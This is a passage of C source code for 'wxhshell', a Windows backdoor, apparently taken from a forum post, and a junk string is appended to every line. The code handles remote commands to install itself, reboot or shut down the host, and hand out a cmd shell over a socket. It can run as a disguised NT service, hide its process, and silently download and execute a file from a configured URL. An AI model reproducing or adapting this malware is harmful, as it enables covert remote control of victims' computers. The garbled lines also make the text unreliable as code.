  else 1hY{k{+o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %v M-mbX  
  } X]TG<r  
  else { )hsgC'H{~]  
Ko<:Z)PS  
    switch(cmd[0]) { w3ResQ   
  2~)`N>@  
  // 帮助 D0-3eV -  
  case '?': { z#wkiCRYm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T4Uev*A  
    break; <44G]eb  
  } hD 82tr  
  // 安装 lfow1WRF  
  case 'i': { *w`sM%]Rq  
    if(Install()) Woy m/[i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); reu*53r]  
    else Q~ w|#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0 1rK8jX  
    break; Q->sV$^=T  
    } i>`%TW:g  
  // 卸载 Naf0)3q>!  
  case 'r': { v0{i0%d,?  
    if(Uninstall()) W:2( .?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kiaw4_  
    else Ty?cC**  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z2~ til  
    break; *Hn8)x}E  
    } kS);xA8s]  
  // 显示 wxhshell 所在路径 j_?FmX _  
  case 'p': { $ bR~+C  
    char svExeFile[MAX_PATH]; h7Kzq{$  
    strcpy(svExeFile,"\n\r"); 0Th&iA4  
      strcat(svExeFile,ExeFile); %YscBG  
        send(wsh,svExeFile,strlen(svExeFile),0); -`h)$&,  
    break; )qw&%sO +  
    } CY5Z{qiX  
  // 重启 ITI)soa~  
  case 'b': { A}9`S6@@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )*J^K?!S  
    if(Boot(REBOOT)) -uG +BraI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }o(-=lF  
    else { N:/D+L  
    closesocket(wsh); kVMg 1I@  
    ExitThread(0); &U#|uc!+  
    } Q Z  
    break; YK'<NE3 4  
    } n b?l TX~  
  // 关机 .|70;  
  case 'd': { |0b`fOS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i[3'ec3  
    if(Boot(SHUTDOWN)) kgP0x-Ap  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aB&&YlR=n<  
    else { f}P3O3Yv&  
    closesocket(wsh); !*N@ZL&X  
    ExitThread(0); 4Z&lYLq;  
    } F^;ez/Gl  
    break; gR;i(81U  
    } r`d4e,(  
  // 获取shell \~$#1D1f  
  case 's': { N~)_DjQP5  
    CmdShell(wsh); FTUv IbT  
    closesocket(wsh); LU%E:i|  
    ExitThread(0); yR{3!{r3(  
    break; f.$af4 u  
  } C_JNX9wv  
  // 退出 qo bc<-  
  case 'x': { *.t 7G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .W!i7  
    CloseIt(wsh); (hbyEQhF  
    break; fIU#M]Xx  
    } }S-O& Z  
  // 离开 _]H&,</  
  case 'q': { c-5)QF) z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JK5gQ3C[  
    closesocket(wsh);  ZBp/sm  
    WSACleanup(); bWU' cw  
    exit(1); H<,gU`&R  
    break; $'M!HJxb  
        } iqWQ!r^  
  } on `3&0,.  
  } 6LIJ Q  
HIZe0%WPw  
  // 提示信息 hz@bW2S.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E ~<JC"]  
} rjYJs*#  
  } G_,jgg7  
>|UOz&  
  return; -FaJ^CN~  
} %>{0yEC  
Tyx_/pJT  
// shell模块句柄 3f{3NzN  
int CmdShell(SOCKET sock) s.C_Zf~3  
{ aqk!T%fg  
STARTUPINFO si; UZ+<\+q3^  
ZeroMemory(&si,sizeof(si)); M .mfw#*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t'ql[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eeB{c.#  
PROCESS_INFORMATION ProcessInfo; N`e[:[  
char cmdline[]="cmd"; XXa|BZ1RX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cVF "!.  
  return 0; 3 Za}b|  
} AoxA+.O  
h2d(?vOT  
// 自身启动模式 m9rp8r*e  
int StartFromService(void) T_4/C2  
{ ,k3FRes3  
typedef struct ISvpQ 3{)s  
{ }pkzH'$HJ  
  DWORD ExitStatus; X'iWJ8  
  DWORD PebBaseAddress; S"H2 7  
  DWORD AffinityMask; .?$gpM?i  
  DWORD BasePriority; 4.t-i5  
  ULONG UniqueProcessId; %EB/b  
  ULONG InheritedFromUniqueProcessId; Ysv" 6b}  
}   PROCESS_BASIC_INFORMATION; a&? :P1$  
>z@0.pN]7  
PROCNTQSIP NtQueryInformationProcess; ZJiG!+-j  
S)@j6(HC4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sQZhXaMa $  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9G2FsM|,  
Cw&KVw*  
  HANDLE             hProcess; G"A#Q"  
  PROCESS_BASIC_INFORMATION pbi; WH^%:4  
a\*yZlXKs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5nx1i  
  if(NULL == hInst ) return 0; w``U=sfmV  
,z=LY5_z)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qo|\-y-#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tKXIk9e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *s3/!K  
7@W>E;go  
  if (!NtQueryInformationProcess) return 0; X"eYK/7  
{+>-7 9b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r9?Mw06Wc5  
  if(!hProcess) return 0; JB<t6+"rD  
Jln:`!#fDf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j#4kY R{  
o ^uA">GH  
  CloseHandle(hProcess); ^U/O !GK  
YGNP53CU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N8df8=.kw  
if(hProcess==NULL) return 0; "3J}b?u_[  
_|`S3}q|d  
HMODULE hMod; wUJcmM;  
char procName[255]; r5^eNg k  
unsigned long cbNeeded; k+*u/neh  
x]j W<A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %8v\FS  
1< ?4\?j  
  CloseHandle(hProcess); 4^<?Wq~  
n+M<\  
if(strstr(procName,"services")) return 1; // 以服务启动 ]6j{@z?{  
, W?VhO  
  return 0; // 注册表启动 .T`%tJ-Em  
} Tp2.VIoQ=  
1_G^w qk  
// 主模块 ) )Za&S*<  
int StartWxhshell(LPSTR lpCmdLine) :g/tZd$G5  
{ uPvEwq* C  
  SOCKET wsl; }x ,S%M-  
BOOL val=TRUE; apn*,7ps65  
  int port=0; 1|:KQl2q  
  struct sockaddr_in door; UPGtj"2v-  
s5. CFA  
  if(wscfg.ws_autoins) Install(); {n=|Db~S  
:k#HW6p  
port=atoi(lpCmdLine); #<xm.  
^<6[.)  
if(port<=0) port=wscfg.ws_port; \{NO?%s0p  
VIbq:U  
  WSADATA data; o4WDh@d5S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N2o7%gJw  
/gas2k==^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \Oo Wo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %a7$QF]  
  door.sin_family = AF_INET; @ N m@]q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~}Pfu  
  door.sin_port = htons(port); B#R|*g:x  
[#iz/q~}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NHE18_v5  
closesocket(wsl); !VzC&>'v^9  
return 1;  ~$J2g  
} ia? c0xL  
B)UZ`?>c  
  if(listen(wsl,2) == INVALID_SOCKET) { w32y3~  
closesocket(wsl); RM/ 0A|  
return 1; fN2lLn9/u  
} CvdN"k  
  Wxhshell(wsl); : rVnc =k  
  WSACleanup(); cz$2R  
T u'{&  
return 0; :23P!^Y  
!5N.B|N t  
} St^5Byd<  
xyxy`qRA  
// 以NT服务方式启动 y B$x>Q'C(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n&!-9:0  
{ G+m }MOQP7  
DWORD   status = 0; MqMQtU9w  
  DWORD   specificError = 0xfffffff; z(~_AN M4,  
E*lxVua  
  serviceStatus.dwServiceType     = SERVICE_WIN32; moE2G?R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eJX#@`K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ji= "DYtL  
  serviceStatus.dwWin32ExitCode     = 0; R@2X3s:  
  serviceStatus.dwServiceSpecificExitCode = 0; A=>u 1h69  
  serviceStatus.dwCheckPoint       = 0; D m9sL!  
  serviceStatus.dwWaitHint       = 0; X wtqi@zlE  
jiC>d@~y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v` r:=K  
  if (hServiceStatusHandle==0) return; ,fRq5"?  
Tsx>&WC  
status = GetLastError(); oL<St$1  
  if (status!=NO_ERROR) KY^Z  
{ dF2RH)Ud  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2Z%O7V~u  
    serviceStatus.dwCheckPoint       = 0; D43z9z-:L  
    serviceStatus.dwWaitHint       = 0; ss-D(K"  
    serviceStatus.dwWin32ExitCode     = status; e:W{OIz:  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6MI8zRX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8b=_Y;  
    return; "Rl}VeDY  
  } K<J9 ~  
DaVa}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LIrb6g&xj_  
  serviceStatus.dwCheckPoint       = 0; F:ELPs4"  
  serviceStatus.dwWaitHint       = 0; .G\7cZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :E?V.  
} #A.@i+Zv  
54qFfN8O  
// 处理NT服务事件,比如:启动、停止 BJ0?kX@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'B}qZCy W  
{ 048kPXm`  
switch(fdwControl) XX~,>Q}H=  
{ ch]29  
case SERVICE_CONTROL_STOP: wyG;8I  
  serviceStatus.dwWin32ExitCode = 0; :Tq~8!s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [ /ZO q  
  serviceStatus.dwCheckPoint   = 0; :hA#m[  
  serviceStatus.dwWaitHint     = 0; ~)'k 9?0  
  { Q@HV- (A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y\tui+?J  
  } !&\INl-Z  
  return; tnIX:6  
case SERVICE_CONTROL_PAUSE: g=I})s:CTp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |cY`x(?yP  
  break; H)&R=s  
case SERVICE_CONTROL_CONTINUE: . ]M"# \  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 92-I~ !d  
  break; {XHh8_ ^&  
case SERVICE_CONTROL_INTERROGATE: A)KZa"EX  
  break; |K~Nw&rZ]  
}; ]%(2hY~i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y> (w\K9W  
} xLn%hxm?,  
H[|~/0?K  
// 标准应用程序主函数 ?1".;foZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Dhv3jg;lq  
{ B1Oq!k  
\[nut;  
// 获取操作系统版本 =Runf +}  
OsIsNt=GetOsVer(); LHmZxi?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Rva$IX ^]  
 C.QO#b  
  // 从命令行安装 eiOW#_"\  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9ll~~zF99|  
uVU)d1N  
  // 下载执行文件 zn(PI3+]!  
if(wscfg.ws_downexe) { Ct|A:/z(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A70d\i  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'H!XUtFs"  
} tI{_y  
y!%CffF2  
if(!OsIsNt) { ?hM64jI|  
// 如果时win9x,隐藏进程并且设置为注册表启动 /Q )\+  
HideProc(); 3ANQaUC  
StartWxhshell(lpCmdLine); A(N4N  
} \di=  
else R GX=)  
  if(StartFromService()) c"xK`%e  
  // 以服务方式启动 \(T /O~b2  
  StartServiceCtrlDispatcher(DispatchTable); ,=N.FS  
else k+4#!.HX^  
  // 普通方式启动 Cls%M5MH  
  StartWxhshell(lpCmdLine); 07$o;W@  
xwty<?dRW1  
return 0; |)G<,FJQE_  
}
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只看该作者 1 发表于: 2006-10-10
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